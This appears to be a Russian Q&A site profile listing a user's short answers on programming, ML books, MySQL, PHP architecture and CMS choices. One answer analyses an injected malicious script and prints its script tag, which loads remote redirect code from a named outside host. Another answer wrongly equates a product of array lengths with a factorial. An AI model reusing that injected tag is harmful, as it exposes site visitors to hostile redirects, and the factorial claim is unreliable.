Профиль пользователя заблокирован сроком с 17 мая 2024 г. по 17 мая 2025 г. по причине: нарушение правил сайта
  • С чего начать обучение машинному обучению / deep learning / data mining?

    @SolidMinus
    Т. Сегаран - программируем коллективный разум. Там есть некоторые методы машинного обучения. Сама книжка смесь вэба и Data Mining. Python

    В этих двух книгах теория:

    Питер Норвиг. Искусственный интеллект: современный подход
    Книга П.С. Романов. Основы искусственного интеллекта

    Библиотека scikit-learn с реализованными алгоритмами из книг выше. Python

    Статья по ней на хабре: Введение в машинное обучение с помощью Python и Sc...

    А также пригодится ( на более поздних этапах )
    Козлов М.В., Прохоров А.В. Введение в математическую статистику. — М.: Изд-во МГУ, 1987.
    Боровков А.А. Математическая статистика. Оценка параметров, проверка гипотез. — М.: Наука, 1984
    Боровков А.А. Математическая статистика. Дополнительные главы. — М.: Наука, 1984.

    На ранних этапах желательно знать курс теорвера и матстатики из школы. Что такое вероятность, дисперсия величины и т.д - иногда используются эти понятия. Особенно широко в генетических алгоритмах

    P.S. Я сам пока учусь, список от человека, который занимается AI уже давно
    Ответ написан
    Комментировать
  • Почему если источник при парсинге не работает, то сайт тоже не работает?

    alexey-m-ukolov
    @alexey-m-ukolov Куратор тега PHP
    Читайте логи, там всё написано.
    Ответ написан
    Комментировать
  • Как лучше писать if условия?

    gbg
    @gbg Куратор тега Программирование
    Любые ответы на любые вопросы
    Второе лучше, потому как в первом { можно { получить { миллиард { уровней { вложенности } } } } }
    Ответ написан
    6 комментариев
  • Какую выбрать мышку среди данных моделей?

    Aquarius-Michael
    @Aquarius-Michael
    Программист и железячник
    Надо пробовать ещё по руке. А то может случиться, что мышь для вас либо мала, либо велика.
    Ответ написан
    Комментировать
  • Имеет ли смысл спрашивать старых клиентов не нужно ли им что то еще(если с ними был тока 1 заказ)?

    opium
    @opium
    Просто люблю качественно работать
    99% моих денег сейчас это повторные заказы, отсюда вывод не сложно сделать.
    Ответ написан
    5 комментариев
  • Как пофиксить медленную запись в БД MySQL?

    Sanasol
    @Sanasol
    нельзя просто так взять и загуглить ошибку
    Я бы не стал смотреть на такой эталон.
    Во-первых, цифры просто нереальные для одного mysql-сервера. Хотя зависит от запросов. Но запись 5к в секунду это как бы овердохуя.

    Во-вторых, тесты у битрикса мягко говоря не очень.
    Ну а собственно как он считает в вашем случае это количество вообще непонятно. Может быть как рейтинг производительности по ссылке выше, тогда это вообще бред полный. Так мало не может быть даже на дефолт настройке на VPS сервере.
    Ответ написан
    4 комментария
  • Откуда берутся непонятные пользователи платного android приложения в Google Analytics?

    VGrabko
    @VGrabko
    Golang, Php, Js
    Пиратство. Реванш :)

    А если сломали то пишы пропало.... Ваш софт будет по всем файловым помойкам.
    Ответ написан
    Комментировать
  • Что почитать об архитектуре приложений и фреймворков на php?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    В целом сразу вас расстрою, то что вы хотите нельзя "разобрать" за пару месяцев. На это уйдет пару тройку лет. И книги которые стоит по этой теме прочитать имеет смысл перечитывать. Ну и практика практика практика.

    Так же хочу заметить что "архитектура" это не что-то эдакое, а общее понимание команды разработчиков о том как функционирует приложение. Если этого общего понимания нет - у вас нет архитектуры. У многих разработчиков понимание пропадает уже через пару месяце стихийной разработки. Так что помимо архитектуры важно еще и процессы/методологии разработки подтянуть.

    Так же стоит заметить, что все это приследует одну единственную цель - сделать процесс разработки эффективным в краткосрочной и долгосрочной перспективе. Если скажем у вас все приложение построено на процедурах и глобальных переменных поддержка такого кода скорее всего будет сильно дороже.

    но совершенно не имею представления о правильной архитектуре приложений на php


    "Правильно" не бывает, все зависит от задачи. "Правильная" архитектура является:

    - понятной - то есть можно быстро разобраться. Это как читабельность кода (читать совершенный код Макконела) так и в принципе декомпозиция системы, разделение ответственности и т.д. (микросервисы, гексагональная архитектура). Тут можно посоветовать почитать Эрика Эванса.
    - удобной в изменениях (продумать все нереально, а сталобыть проще сделать так что бы адаптироваться под изменения в требованиях можно было эффективнее).
    - Тестируемой - то есть вы можете проверить работоспособность системы на различных уровнях. Тут стоит смотреть в сторону TDD или практик с той же идеей (сначала формулируем как работает и как мы это проверим а потом уже делаем).

    Вот и все. Далее уже есть принципы SOLID (читать Роберта Мартина), GRASP (Крэйг Ларман), GoF (лучше тут почитать head first design patterns или даже начать с Мэта Зандстры, у него помимо паттернов еще про процессы мельком рассказано).

    Ну и смысла в этом всем нет если вы еще до конца не осознали что есть инкапсуляция и полиморфизм. Многие могут рассказать что значат эти термины, но на практике эти знания они не могут применить (чаще всего страдает инкапсуляция)

    или написании чего-то своего с нуля на чистом php


    Такое решение может принимать только разработчик у которого уже есть за плечами хотя бы пяток лет опыта работы с различными (не одним) фреймворком и языками. В противном случае вы только будете заниматься бесполезным велосипедостроительством.

    идеально было бы вообще подробно расписанное сравнение внутреннего устройства нескольких фреймворков


    Берете Symfony или Zend и вперед. Все остальные фреймворки "проще". То есть скрывают больше от разработчика. После них уже можно брать что угодно.

    p.s. еще прочитайте тут: www.phptherightway.com
    Ответ написан
    12 комментариев
  • Правильно ли я работаю с MongoDB?

    @Nc_Soft
    Мне надо принести в дом 3 пакета с едой из магазина. Я выхожу, закрываю дверь, иду в магазин, покупаю пакет, несу домой, открываю дверь, заношу пакет и закрываю дверь. Потом повторяю это два раза.
    Сразу принести пакеты мне религия не позволяет, ведь я с монго работаю.
    Ответ написан
    3 комментария
  • Где взять сайт со списком IT компаний?

    denisgorbunovmsc
    @denisgorbunovmsc
    руковожу проектным офисом
    А какая вакансия и ожидания? Почему не пользоваться hh.ru и подобными сервисами? Или это про массовый поиск работы для кучи народа.
    Такой массовый вброс не очень полезен, имхо, так как:
    1) Спам никто не любит и вычисляют налету.
    2) ИТ-компания сейчас это понятие чуть устаревающее. Многие банки более ИТ-компания, чем, к примеру, 1С-франчайзи. Сбербанк - это свыше 50% инвестиций в ИТ в финансовом секторе, например. Да и разные они эти ИТ компании: одни больше про железо, другие про софт, третьи про бизнес-консалтинг.
    3) HR не дураки и не адресные резюме под конкретную вакансию выкидывают не глядя.
    4) Если речь про индивидуальный поиск и опыт работы есть, то гораздо разумнее, чтобы тебя нашли = конференции и тому подобные мероприятия. Плюс на hh.ru работа вроде пока есть. Поиск, который ты хочешь лично для себя - явно более затратный, так как большая часть тех кто вернется со звонком после присланного резюме будет отсеян и ты потеряешь время.

    P.S. Интересная статья как работает современный подбор https://slon.ru/posts/69111. Пока это еще авангард, но скоро станет мейнстримом.
    Ответ написан
    4 комментария
  • OctoberCMS - Годится ли как основа для web-студии?

    Если вы задаете такие вопросы, то вам и веб-студия не надо. Поработайте еще пару лет.
    Ответ написан
    10 комментариев
  • OctoberCMS - Годится ли как основа для web-студии?

    sabramovskikh
    @sabramovskikh
    Для web-студии нужно в основе иметь хотябы тройку лидеров CMS, желательно пятерку конечно. И пару фреймворков) Ну это конечно если у вас в студии не один программист
    Уже под конкретный сайт выбирать что необходимо, где-то wp лучше, где-то open-cart
    Ответ написан
    2 комментария
  • Что делает этот вирус?

    27cm
    @27cm
    TODO: Написать статус
    1. Функция checkOne() достаёт ключевые слова из тега <meta name="keywords" content="..." />
    2. Если ключевые слова не найдены, то скрипт берёт ключевые фразы из utm_term.
    3. Если ключевые фразы из utm_term не найдены, то используется title страницы.

    Найденные ключевые слова кодируются и отправляются в ktm-pohlenz.de/js/jquery.min.php. В результате вставляется JavaScript, который редиректит пользователя на URL адрес, максимально соответствующий найденным ключевым словам и HTTP referer страницы. Пример для этой страницы:
    <script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=J18171&c_utm=http%3A%2F%2Fktm…IT%26se_referrer%3Dhttps%253A%252F%252Ftoster.ru%252F%26source%3Dtoster.ru"></script>


    P.S.: Редирект возвращается не всегда. Возможно на стороне ktm-pohlenz.de есть какая-то фильтрация по IP, UA, параметру c_utt и т. д.
    Ответ написан
    6 комментариев
  • Стоит ли использовать Java для высоко нагруженных приложений?

    Высоконагруженные проекты гораздо сильнее зависят от архитектуры и алгоритмов, чем от технологического стека.
    Следовательно, если вы хорошо знаете Java - пишите на нём, будет проще сфокусироваться на том, что действительно важно.
    А ещё есть микросервисная архитектура, в которой каждый сервис может быть вообще на чём угодно написан и всегда можно переписать с нуля за пару дней.
    Ответ написан
    Комментировать
  • Как организовать работу нескольких серверов?

    @xabesawiv
    KVM.
    Он самых дешевых механических за 500 рублей до электронных-автоматизированных за 100 000 рублей.

    Не путать устройство KVM с системой виртуализации KVM.
    Ответ написан
    2 комментария
  • Почему на одном сервере json_decode нормально отрабатывает, на другом возвращает null?

    alexey-m-ukolov
    @alexey-m-ukolov Куратор тега PHP
    NULL is returned if the json cannot be decoded or if the encoded data is deeper than the recursion limit.

    Мы, конечно, можем поиграть в угадайку, но зачем, если есть json_last_error()? А в современных версиях языка есть даже json_last_error_msg().
    Ответ написан
    Комментировать
  • Передача запроса и получение ответа PHP. Как?

    @SharuPoNemnogu
    не язык плохой, программисты такие...
    /**инициализация curl*/
    $curl = curl_init();
    /**передавать через POST*/
    curl_setopt($curl, CURLOPT_POST, true);
    /**вернуть результат*/
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    /**куда слать запрос $url с картинки*/
    curl_setopt($curl, CURLOPT_URL, $url);
    /**параметры запроса в $data строка xml с параметрами*/
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    /**посылка запроса и получение результата*/
    $result = curl_exec($curl);
    Ответ написан
    2 комментария
  • Как обслуживать переведенный сайт?

    @imhuman
    Если изменении всегда должны быть синхронны, значит у вас неправильно организован сайт. Экземпляр кода должен быть один. А в зависимости от поддомена подгружаться контент на нужном языке.
    Ответ написан
    2 комментария
  • Как получить все возможные варианты "соединения" строк из 4 или более массивов?

    dimonchik2013
    @dimonchik2013
    non progredi est regredi
    число перестановок - n факториал

    т.е. count = len(a)*len(b)*len(c)*..*len(x)

    алгоритм - банальный for по вложенным массивам

    a = ['a1','a2','a3',]
    b = ['b1',]
    c = ['c1','c2',]
    d = ['d1','d2','d3','d4',]
    
    
    total = []
    for i in range(0, len(a)):
        for j in range(0, len(b)):
            for k in range(0, len(c)):
                for l in range(0, len(d)):
                    total.append(a[i]+b[j]+c[k]+d[l])
    
    print(total)
    print(len(total))
    Ответ написан
    3 комментария